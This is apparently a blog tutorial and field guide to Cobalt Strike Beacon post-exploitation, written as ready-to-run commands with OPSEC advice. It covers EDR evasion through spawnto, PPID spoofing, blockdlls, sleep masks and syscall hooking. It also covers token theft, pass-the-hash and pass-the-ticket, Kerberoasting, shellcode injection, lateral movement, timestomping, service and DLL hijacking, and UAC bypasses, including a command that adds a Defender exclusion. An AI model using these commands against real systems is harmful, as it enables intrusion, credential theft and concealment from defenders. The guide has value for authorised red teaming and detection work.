Cobalt Strike Beacon Commands: Red Team Field Guide
Updated on February 17, 2026
Table of Contents
- The Philosophy of "Low and Slow"
- Under the Hood: Execution Primitives
- Situational Awareness (Without Breaking Things)
- Execution Strategy: The "Fork and Run" Dilemma
- Advanced Injection & Custom Tooling
- Advanced OPSEC: Process Manipulation
- Evasion: Sleep Masks & Artifacts
- Credential & Token Manipulation
- User Impersonation: Pass the Hash & Injection
- Kerberos Tradecraft & Active Directory Abuse
- Lateral Movement & Pivoting
- File System Operations
- PowerShell Tradecraft: Execution & OPSEC
- Post-Exploitation: .NET Assemblies
- Mastering Beacon Object Files (BOFs)
- Privilege Escalation: Moving Up the Ladder
- Conclusion
Let's be real for a second. If you're working in red teaming or advanced penetration testing, Cobalt Strike isn't just a tool; it's practically the industry standard for Command and Control (C2). It's the Ferrari of C2 frameworks. But just like a Ferrari, if you don't know how to drive it, you're going to crash into a wall (or in our case, trip every EDR on the network).
I've been on countless engagements where I've seen junior operators burn a solid foothold simply because they got impatient or didn't understand what was happening under the hood when they typed a command. They treat Beacon like a standard netcat shell, and that is a one-way ticket to getting kicked out of the network.
In this guide, I'm going to walk you through the most critical Cobalt Strike Beacon commands and techniques that I use on almost every engagement. We're going to move beyond the basics and look at this from an operational security (OPSEC) perspective.
The Philosophy of "Low and Slow"
Before we type a single command, you need to understand that Beacon is designed to be asynchronous. It's not a constant connection. It checks in, grabs tasks, executes them, and goes back to sleep. This is its greatest strength and your biggest test of patience.
Sleep and Jitter
The very first thing I do when I land a new beacon? I check the sleep time. By default, your profile might have it set to something aggressive.
# Check current settings
sleep
# Set sleep to 60 seconds with 20% jitter
# This means it will sleep anywhere between 48s and 72s
sleep 60 20
# Go interactive (DANGEROUS - noisy network traffic)
# Only do this if you are tunneling or need instant feedback
sleep 0
Senior Tip: Never use a flat sleep cycle (e.g., sleep 60 0). EDRs and network appliances love consistent patterns. That 20-30% jitter is your best friend for blending in with background noise.
Under the Hood: Execution Primitives
To be an effective operator, you can't just memorize commands; you need to understand the underlying mechanics of how Beacon executes them. Every command falls into a specific category based on how it interacts with the OS and the Beacon process itself. Knowing the difference is often the line between remaining undetected and burning your infrastructure.
House-Keeping
These commands are purely for configuring the Beacon's state at runtime. They generally do not execute code on the target system but simply modify values stored in Beacon's memory. Examples include sleep, spawnto, jobs, and ppid.
API-Only
These are the stealthiest "active" commands because they rely solely on built-in Windows APIs. They do not spawn new processes or inject code. Commands like cd, ls, cp, mv, pwd, and upload fall into this bucket. If you can achieve your goal with an API-only command, it should always be your first choice.
Inline Execution (BOFs)
This is the modern standard for Cobalt Strike tradecraft. It runs a Beacon Object File (BOF) directly inside your Beacon's memory space. It is cleaner than "Fork & Run" but carries stability risks if the code crashes. We will cover this in depth in the Mastering BOFs section below.
Fork & Run
This pattern is more stable but "noisier" from an OPSEC perspective. It involves spawning a temporary process, injecting a capability (usually a Reflective DLL) into it, executing the task, and killing the process. In Cobalt Strike, this comes in two flavors:
- Spawn: Creates a new temporary process (defined by your
spawntosetting) and injects the capability. Commands likeexecute-assemblyandpowerpickuse this. - Explicit: Injects the capability into a specific existing process ID (PID). Commands like
psinjectuse this.
Some commands, like mimikatz and keylogger, are hybrids. If you provide a PID, they act as "Explicit"; if you don't, they default to "Spawn".
# Spawn variant (Fork & Run)
execute-assembly /path/to/Rubeus.exe
# Explicit variant (Inject into existing PID)
psinject [pid] [arch] [command]
Situational Awareness (Without Breaking Things)
Once you're stable, you need to know where you are. But be careful. Running loud commands like net user /domain immediately is rookie behavior.
Process & User Discovery
Instead of spawning cmd.exe to run whoami, use Beacon's native APIs which are far stealthier.
# Get your current user context (Native API, no process spawn)
getuid
# Check your privileges
getprivs
# List processes (Use this to find security products or targets for injection)
ps
OPSEC Warning: Avoid shell whoami or shell ipconfig. The shell command spawns cmd.exe as a child process, which is a massive red flag for any decent SOC. Always prefer Beacon native commands or Beacon Object Files (BOFs). You can learn more about OPSEC safe practices in our Active Directory Lateral Movement & Persistence.
Execution Strategy: The "Fork and Run" Dilemma
This is where the magic happens. Cobalt Strike uses a technique often called "Fork and Run" for many post-exploitation tasks. It spawns a temporary process, injects your capability into it, executes it, and then kills the process.
If you don't configure this, you're going to be spawning rundll32.exe every time you run a command, which looks incredibly suspicious.
Spawnto
You can and should change what process Beacon spawns for these temporary jobs.
# Check current spawnto settings
spawnto
# Change the temporary process to something legitimate for the environment
# targeting syswow64 (x86) or sysnative (x64)
spawnto x64 %windir%\sysnative\gpupdate.exe
spawnto x86 %windir%\syswow64\gpupdate.exe
By changing this to gpupdate.exe or werfault.exe, your malicious traffic looks like standard Windows background activity.
The Execution Hierarchy
Here is how I prioritize execution methods to stay under the radar:
inline-execute(BOFs): Runs in your current process memory. No child process. Safest.execute-assembly: Runs .NET assemblies in a temporary process. Powerful but creates a new process.powerpick: Runs PowerShell commands without spawningpowershell.exe. Uses the unmanaged PowerShell automation DLLs.execute: A "fire and forget" command. It executes a program on the target but does not capture output. Useful if you want to launch a background task or if capturing output might hang the beacon.run: Executes a program and captures output.shell: Spawnscmd.exe /c. Avoid this unless absolutely necessary.
# Good: Using PowerPick to run a quick PS command
powerpick Get-Process
# Fire and Forget: Launch a tool without waiting for it
execute C:\Windows\System32\calc.exe
# Better: Using a BOF to enumerate processes (if available)
inline-execute Pe-Bof
Advanced Injection & Custom Tooling
As you advance, you'll want to use your own custom tools or inject into existing processes to hide your presence.
dllinject
This command allows you to inject a Reflective DLL into a specific running process (identified by PID). This is useful when you want your tool to live inside a legitimate process like chrome.exe or outlook.exe rather than spawning a new temporary one.
# Inject my_tool.dll into process ID 4567
dllinject 4567 /opt/tools/my_tool.dll
execute-dll
Think of this as the unmanaged cousin of execute-assembly. It spawns a temporary process (using your spawnto settings), injects your Reflective DLL as a post-exploitation task, captures the output, and then kills the process. This is ideal for running custom C/C++ tools that follow the Reflective Loader pattern.
# Run a custom post-ex DLL and get output
execute-dll /opt/tools/custom_recon.dll argument1
Pro Tip: For the ultimate evasion, look into User Defined Reflective Loaders (UDRL). The default reflective loader in Cobalt Strike is well-signatured. Using a custom UDRL (like BokuLoader or AceLdr) can bypass memory scanners that look for the standard MZ header anomalies associated with reflective injection.
Advanced OPSEC: Process Manipulation
If you want to survive in a mature environment with heavy EDR monitoring, you need to manipulate how your processes look to the operating system.
PPID Spoofing (ppid)
By default, if your beacon is in powershell.exe and you spawn cmd.exe, the parent/child relationship is clear. EDRs look for "malicious parenting" (e.g., Word spawning PowerShell). You can spoof the Parent Process ID (PPID) to make your temporary jobs look like they were spawned by a legitimate system process, like explorer.exe or svchost.exe.
# 1. List processes to find a good parent (e.g., explorer.exe with PID 2020)
ps
# 2. Set the PPID for all future spawned jobs
ppid 2020
# 3. Verify
run whoami
# The 'whoami' process will appear to be spawned by explorer.exe (PID 2020)
# Reset to default
ppid 0
BlockNonMicrosoftBinaries (blockdlls)
Many EDRs work by injecting their own DLLs into every process that starts on the system (userland hooking). This allows them to inspect your memory and API calls. You can use blockdlls to tell the Windows Kernel to prevent non-Microsoft signed DLLs from loading into your spawned processes. See the MITRE ATT&CK T1106 page for context on execution APIs.
# Enable blocking for future jobs
blockdlls start
# Disable blocking
blockdlls stop
Senior Note: Combining spawnto, ppid, and blockdlls is the holy trinity of Beacon evasion. It makes your malicious jobs look like legitimate system processes, spawned by legitimate parents, that refuse to load 3rd party security DLLs.
Evasion: Sleep Masks & Artifacts
In modern environments, static evasion is not enough. Memory scanners (like Huntress, Moneta, or various EDRs) will scan the memory of sleeping processes looking for Cobalt Strike signatures. If your Beacon is sitting in memory unencrypted while it sleeps, you will get caught.
The Sleep Mask Kit
The Sleep Mask capability obfuscates (encrypts) your Beacon's memory sections (Heap, Image, and Stack) while it is sleeping. It unmasks strictly for the check-in and re-masks immediately after. Do not use the default sleep mask; it is heavily signatured. You must compile a custom one from the Cobalt Strike Arsenal Kit.
How to Implement:
- Download the Arsenal Kit from the license portal.
- Navigate to the
kits/sleepmaskdirectory. - (Optional) Modify
src/config.hto enable advanced features like stack spoofing (setMASK_TEXT_SECTIONto 1). - Compile the kit using the provided script to generate a
.cnascript.
# Compile Sleep Mask (Example for CS 4.9+)
# Syntax: ./build.sh
./build.sh 4.9 sleepmask true
After compiling, load the resulting sleepmask.cna into Cobalt Strike. Finally, ensure your Malleable C2 profile enables it:
# Malleable C2 Profile Settings
stage {
set sleep_mask "true";
set userwx "false"; # Avoid RWX pages
set obfuscate "true"; # Obfuscate import table
}
BeaconGate
Introduced in recent versions (CS 4.10+), BeaconGate allows you to dynamically unhook or mask Windows API calls. It serves as a middleware between Beacon and the Windows OS. By intercepting calls to APIs like VirtualAlloc or MapViewOfFile, you can redirect them to use Indirect Syscalls, bypassing userland hooks placed by EDRs.
How to Implement:
BeaconGate is also found in the Arsenal Kit under kits/beacongate. You can write C code to intercept specific APIs.
// Conceptual Example: Intercepting VirtualAlloc in BeaconGate
// This allows you to replace the standard API call with a custom syscall
LPVOID WINAPI BeaconGate_VirtualAlloc(LPVOID lpAddress, SIZE_T dwSize, DWORD flAllocationType, DWORD flProtect) {
// 1. Check if we want to handle this specific allocation
// 2. Execute custom Indirect Syscall logic
return MyCustomSyscall_VirtualAlloc(lpAddress, dwSize, flAllocationType, flProtect);
}
To use it, compile the BeaconGate kit similarly to the Sleep Mask and load the generated beacongate.cna script. This will automatically patch your Beacon payloads to use your custom API handlers.
Credential & Token Manipulation
You've landed on a box, and you need to escalate or move.
Token Theft
If you see a Domain Admin process in your ps output, you don't always need to migrate into it. You can just steal their token. Beacon has a token "store" where you can permanently hold a reference to the token, even after the process has closed.
# Steal the token and save it
token-store steal 5248
# Print the tokens in the store.
token-store show
# use a token in the store.
token-store use `id`
token-store use 1
# Steal token from PID 1234
steal_token 1234
# Verify it worked
getuid
# Drop the token and return to your original context
rev2self
Make Token
If you have a username and password (maybe found in a config file or via phishing), you can .token to interact with network shares without fully logging in interactively.
# Create a token for network resources
make_token DOMAIN\User Password123!
# Test access (e.g., listing the C$ share of a Domain Controller)
ls \\DC01\C$
User Impersonation: Pass the Hash & Injection
Stealing an active token is convenient, but what if the high-value user isn't currently logged in, or you only have their NTLM hash? Cobalt Strike provides dedicated commands to impersonate users through hash passing and tactical process injection.
Pass the Hash (PtH)
If you have successfully dumped credentials and obtained an NTLM hash, you can use the built-in pth command. Under the hood, this spawns a temporary process, injects Mimikatz, applies the hash, and creates a new logon session for you to use.
# Syntax: pth [DOMAIN\user] [NTLM Hash]
pth STEINS\Administrator 12a5r9fabaeg344sdf345f5f52a34e
Process Injection for Impersonation
Sometimes, the cleanest way to assume a user's identity is to literally operate inside their active process. If your ps output shows a Domain Admin running a harmless application, you can inject a new Beacon directly into that PID without killing your current session.
# Inject a new beacon payload into PID 4012 for the 'http-external' listener
inject 4012 x64 http-external
# Alternatively, use shinject to push raw shellcode into the process
shinject 4012 x64 /path/to/custom_shellcode.bin
Kerberos Tradecraft & Active Directory Abuse
Modern Active Directory environments rely heavily on Kerberos authentication. Manipulating these tickets is a core component of advanced lateral movement, allowing you to bypass standard password checks.
Pass the Ticket (PtT)
If you've harvested a .kirbi file (via Rubeus, Mimikatz, or disk extraction), you can apply it directly to your current Beacon session to authenticate as the target user without touching their password.
# Clear any existing Kerberos tickets in your current session to avoid conflicts
kerberos_ticket_purge
# Apply the stolen Kerberos ticket to your Beacon session
kerberos_ticket_use /path/to/stolen_ticket.kirbi
Ticket Generation and Roasting
While Beacon natively supports basic Kerberos interactions, elite operators rely on the execute-assembly command to run tools like Rubeus directly in memory. This allows for stealthy AS-REP Roasting, Kerberoasting, and Overpass-the-Hash attacks without dropping risky binaries to the disk.
# Perform Kerberoasting to extract service account hashes into memory
execute-assembly /opt/tools/Rubeus.exe kerberoast /nowrap
# Check your current active tickets in memory
run klist
Lateral Movement & Pivoting
Moving laterally is the bread and butter of Red Teaming. We rarely stay on the patient zero machine. Check out our Active Directory Pivoting tutorial for more strategies.
SMB Beacons (The Daisy Chain)
SMB beacons are fantastic for internal networks. They use Named Pipes to communicate over the SMB protocol (port 445).
# Link to a target machine if you have admin rights or valid creds
# This creates a child beacon linked to your current one
link DC01
# Unlink to stop the traffic but keep the session (if configured)
unlink DC01
Jump
The jump command is a wrapper for common lateral movement techniques like WinRM and PsExec.
# Use WinRM (usually port 5985) - quieter than PsExec
jump winrm64 TARGET_HOST LISTENER_NAME
# Use PsExec (Service creation) - classic, but very noisy
jump psexec64 TARGET_HOST LISTENER_NAME
Senior Note: I almost always prefer winrm over psexec. Service creation events (Event ID 7045) are monitored by everyone. WinRM traffic often blends in with administrative activity.
SOCKS Proxying
Sometimes you need to bring your external tools (like Proxychains, RDP, or a browser) into the network.
# Start a SOCKS4a proxy on your teamserver on port 1080
socks 1080
# Stop the proxy
socks stop
Now you can configure your browser or proxychains to point to your Teamserver's IP and port 1080 to browse the internal intranet.
File System Operations
Keep your file operations clean. Don't drop files in the root of C:\.
# List files
ls
# Change directory
cd C:\Users\Public\Downloads
# Upload a tool
upload /opt/tools/Seatbelt.exe
# Download sensitive data
download interesting_file.docx
Timestomp
If you upload a tool, its "Date Modified" timestamp will be the current time, sticking out like a sore thumb. Match it to a legitimate file.
# Match the timestamp of Seatbelt.exe to calc.exe
timestomp Seatbelt.exe C:\Windows\System32\calc.exe
PowerShell Tradecraft: Execution & OPSEC
While the industry has shifted heavily toward C# and BOFs, PowerShell remains a flexible tool in the operator's arsenal. However, it is also one of the most monitored data sources on Windows. Understanding how you execute PowerShell is more important than the script itself.
The Hierarchy of PowerShell Execution
Cobalt Strike offers three distinct ways to run PowerShell, each with drastically different OPSEC implications. You must choose the right tool for the job.
-
The "Forbidden" Option (
powershell):
This command spawnspowershell.exeas a child process. It is the loudest possible way to run a script. It is roughly equivalent to runningcmd.exe. In modern environments with EDR, using this is often a guaranteed detection.
Use case: Only in labs or completely unmonitored environments. -
The Standard Choice (
powerpick):
PowerPick uses "Unmanaged PowerShell". Instead of spawningpowershell.exe, it spawns your temporaryspawntoprocess (e.g.,gpupdate.exe) and loads the PowerShell CLR directly into it.
Benefit: You get full PowerShell functionality without the suspiciouspowershell.exebinary appearing in process logs.
Use case: General purpose scripting and enumeration. -
The Surgical Option (
psinject):
This works exactly like PowerPick, but instead of creating a new temporary process, it injects the Unmanaged PowerShell DLL into an existing process ID (PID).
Benefit: Allows you to execute scripts in the context of another user (e.g., a Domain Admin) without migrating your entire Beacon session.
Use case: Lateral movement or accessing resources that require specific user tokens.
# BAD: Spawns powershell.exe (Noisy)
powershell Get-Process
# GOOD: Runs inside a temporary gpupdate.exe (Stealthy)
powerpick Get-Process
# SURGICAL: Runs inside an existing process ID 3020 (Context-aware)
psinject 3020 x64 Get-Process
Managing Scripts in Memory
You almost never want to drop a .ps1 file to disk to run it. Cobalt Strike allows you to import scripts from your local attacking machine directly into the Beacon's memory.
# Import a script from your local machine (e.g., PowerView)
powershell-import /opt/tools/PowerView.ps1
# Execute a function from the imported script using PowerPick
powerpick Get-Domain
Crucial Limitation: You can only have one imported script active at a time. Importing a new script overwrites the previous one. If you need multiple tools, consider combining them or using a script manager.
OPSEC Warning: Even with powerpick, you are not invisible. Once the CLR is loaded, features like AMSI (Antimalware Scan Interface) and Script Block Logging (Event ID 4104) still apply. While Cobalt Strike attempts to patch AMSI, robust EDRs may flag the patching behavior itself.
Post-Exploitation: .NET Assemblies
Years ago, we used powershell for everything. Now, PowerShell v5 with Script Block Logging and AMSI makes that risky. We shifted to .NET assemblies via execute-assembly.
Execute-Assembly
This allows you to run compiled C# tools (like Rubeus, Seatbelt, or SharpHound) entirely in memory without dropping the .exe to disk. It spawns a temporary process, injects the CLR, and runs your code.
# Run Seatbelt to enumerate security checks
execute-assembly /tools/Seatbelt.exe -group=system
# Run Rubeus to roast kerberos tickets
execute-assembly /tools/Rubeus.exe kerberoast
Mastering Beacon Object Files (BOFs)
Beacon Object Files (BOFs) are arguably the most important advancement in Cobalt Strike tradecraft. They allow you to execute C/C++ code within the Beacon process itself. Unlike execute-assembly, they do not spawn a child process (Process Injection), meaning they leave no artifacts for EDR to catch in terms of process creation events.
Creating a "Whoami" BOF in C
To use BOFs, you need a C compiler (like MinGW) and the beacon.h header file (available in the Cobalt Strike community kit). Below is a simple BOF that prints the current Username and Process ID (PID) using Windows APIs.
#include <windows.h>
#include "beacon.h"
// 1. Define the Windows API imports using Cobalt Strike's dynamic syntax
// Syntax: DECLSPEC_IMPORT [ReturnType] [WINAPI/C_CONVENTION] [DLLNAME]$[FunctionName](Args...);
DECLSPEC_IMPORT DWORD WINAPI KERNEL32$GetCurrentProcessId();
DECLSPEC_IMPORT BOOL WINAPI ADVAPI32$GetUserNameA(LPSTR, LPDWORD);
// 2. The entry point for every BOF is a function named "go"
void go(char* args, int len) {
char user[256];
DWORD userLen = 256;
DWORD pid = KERNEL32$GetCurrentProcessId();
// 3. Call the API. Note the use of the pointer we defined above.
if (ADVAPI32$GetUserNameA(user, &userLen)) {
// 4. Use BeaconPrintf to send output back to the Cobalt Strike console
BeaconPrintf(CALLBACK_OUTPUT, "Hello from BOF! User: %s (PID: %d)", user, pid);
} else {
BeaconPrintf(CALLBACK_ERROR, "Failed to get username.");
}
}
Compiling and Running
You don't compile a BOF into an .exe or .dll. You compile it into an object file (.o).
# Compile with MinGW (x64)
x86_64-w64-mingw32-gcc -c whoami.c -o whoami.o
# Execution inside Beacon
inline-execute /path/to/whoami.o
Senior Warning: BOFs run inside your Beacon's memory. If your C code crashes (e.g., NULL pointer dereference), your Beacon dies. Always test BOFs locally before running them in a live operation.
Privilege Escalation: Moving Up the Ladder
If you landed as a standard user, your next goal is High Integrity (Administrator) or SYSTEM. I see a lot of junior operators just throw built-in exploits and pray. Don't do that. We always start by looking for misconfigurations - they are quieter, highly reliable, and don't crash boxes. If you want a deeper dive into the theory behind this, check out our Windows Privilege Escalation Guide.
Service Misconfigurations & Path Interception
Windows services running as SYSTEM are prime targets. We are looking for weak service permissions, unquoted service paths, or vulnerable executables.
# Enumerate services using Beacon's built-in capabilities or a BOF
# This avoids spawning noisy cmd.exe processes
sc_enum
# Find services where low-priv users have FullControl rights
powerpick $lowpriv = @('Everyone', 'BUILTIN\Users', 'NT AUTHORITY\Authenticated Users'); ls 'HKLM:\SYSTEM\CurrentControlSet\Services' | % { $acl = Get-Acl $_.PSPath; foreach ($ace in $acl.Access) { if ($ace.AccessControlType -eq 'Allow' -and $ace.IsInherited -eq $false -and $lowpriv -contains $ace.IdentityReference.Value -and $ace.RegistryRights -eq [System.Security.AccessControl.RegistryRights]::FullControl) { [PSCustomObject] @{ServiceName = $_.PSChildName; Identity = $ace.IdentityReference.Value; Rights = $ace.RegistryRights }}}}
# Check permissions on a suspicious service binary using cacls or icacls
# We are looking for (M) Modify or (F) Full Control for our current user
run icacls "C:\Program Files\CustomApp\service.exe"
# Alternatively, use PowerPick to read the ACLs cleanly without cmd.exe
powerpick Get-Acl -Path "C:\Program Files\CustomApp\service.exe" | Format-List
If you find an Unquoted Service Path (e.g., C:\Program Files\My App\service.exe instead of "C:\Program Files\My App\service.exe"), you can drop a malicious executable at C:\Program Files\My.exe. Windows will execute your payload before it reaches the actual service path.
Once your payload is in place, you just need to restart the service to trigger execution as SYSTEM:
# Query the service for info
sc_qc VulnService
# Stop the vulnerable service
sc_stop "VulnService"
# Start it again to trigger your payload
sc_start "VulnService"
# If you have enough permissions - create a new service
sc_create dbgsvc "Debug Service" C:\Windows\System32\VulnService.exe "Windows Debug Service" 0 2 3
# Modify existing Service
sc_config VulnService "C:\Windows\System32\VulnService.exe" 0 2
Search Order Hijacking (DLL Hijacking)
If a highly privileged service loads a DLL without specifying the absolute path, Windows searches for it in a specific order (starting with the application directory). If you have write access to that directory, you can drop a malicious DLL with the same name.
# Finding Vulnerable Paths for Search Order Hijacking
powerpick $p = [Environment]::GetEnvironmentVariable('PATH', 'Machine').Split(';'); $lp = @('Everyone', 'BUILTIN\Users', 'NT AUTHORITY\Authenticated Users', 'Interactive'); $r = foreach ($x in $p) { if (Test-Path $x) { $a = Get-Acl $x; foreach ($ae in $a.Access) { if ($ae.AccessControlType -eq 'Allow' -and $lp -contains $ae.IdentityReference.Value -and ($ae.FileSystemRights -match 'Write|FullControl|Modify|AppendData')) { [PSCustomObject]@{Path=$x; Identity=$ae.IdentityReference.Value; Rights=$ae.FileSystemRights} } } } }; if ($r) { $r | Format-Table -AutoSize | Out-String } else { Write-Output 'No vulnerable PATH directories found.' }
# Check permissions on the application directory
powerpick Get-Acl -Path "C:\Program Files\VulnerableApp\" | fl
# Upload your malicious DLL (compiled with a reflective loader or standard DllMain)
cd C:\Program Files\VulnerableApp\
upload /opt/payloads/hijack.dll
Unquoted Service Paths
When a service is created whose executable path contains spaces and isn't enclosed within quotes, Windows attempts to locate and execute programs at every space in the path before reaching the actual executable.
If a service path is C:\Program Files\My App\service.exe, Windows will first try to execute C:\Program.exe. If an attacker can drop a malicious Program.exe in the C:\ root (requiring specific permissions, but common in misconfigured environments), it will execute with system privileges when the service starts.
# Finding Vulnerable Paths for Search Order Hijacking
sc_enum
powerpick Get-CimInstance Win32_Service | ? { $_.PathName -notmatch '^"' -and $_.PathName -match ' ' -and $_.PathName -notmatch 'C:\\Windows' } | Select-Object Name, PathName, StartMode, StartName | Format-Table -AutoSize | Out-String
UAC Bypasses and Built-in Elevators
If you are already in the local Administrators group but running in Medium Integrity, you need to bypass User Account Control (UAC). Cobalt Strike provides two built-in primitives for executing code in a high-integrity context: elevate and runasadmin.
The Elevate Command
The elevate command spawns a completely new Beacon session in a high-integrity context. You pair it with an exploit or UAC bypass and your listener name.
# Execute it by itself to see available exploits and bypasses
elevate
# Output examples:
# uac-schtasks Bypass UAC with schtasks.exe (via SilentCleanup)
# uac-token-duplication Bypass UAC with Token Duplication
# svc-exe Get SYSTEM via an executable run as a service
# Execute a UAC bypass and catch the SYSTEM/Admin shell on your HTTP listener
elevate uac-schtasks HTTP_Listener
The Runasadmin Command
Sometimes you don't need a whole new Beacon. You just want to run a single arbitrary command (with arguments) from an elevated context via the runasadmin command.
# Execute it by itself to show the available elevators
runasadmin
# Output examples:
# uac-cmstplua Bypass UAC with CMSTPLUA COM interface
# uac-wscript Bypass UAC with wscript.exe
# Run a specific command as admin (e.g., modifying an exclusion path)
runasadmin uac-cmstplua powershell.exe -c "Add-MpPreference -ExclusionPath C:\Temp"
The true power of elevate and runasadmin is that operators can add their own custom bypasses via Aggressor scripts. The implementation can be anything Beacon is capable of executing, including PowerShell, .NET, reflective DLLs, and BOFs, keeping your toolkit fresh against new EDR signatures.
Conclusion
Cobalt Strike is powerful, but it's not a magic wand. The default configurations are known by every Blue Team on the planet. To succeed as a senior operator, you need to understand the noise you generate. Customize your Malleable C2 profiles, use spawnto to blend in, prefer BOFs over shell, and always, always mind your sleep cycles.
Happy hunting, and remember - don't get caught.
Enjoyed this guide? Share your thoughts below and tell us how you leverage Cobalt Strike Beacon commands in your projects!

No comments:
Post a Comment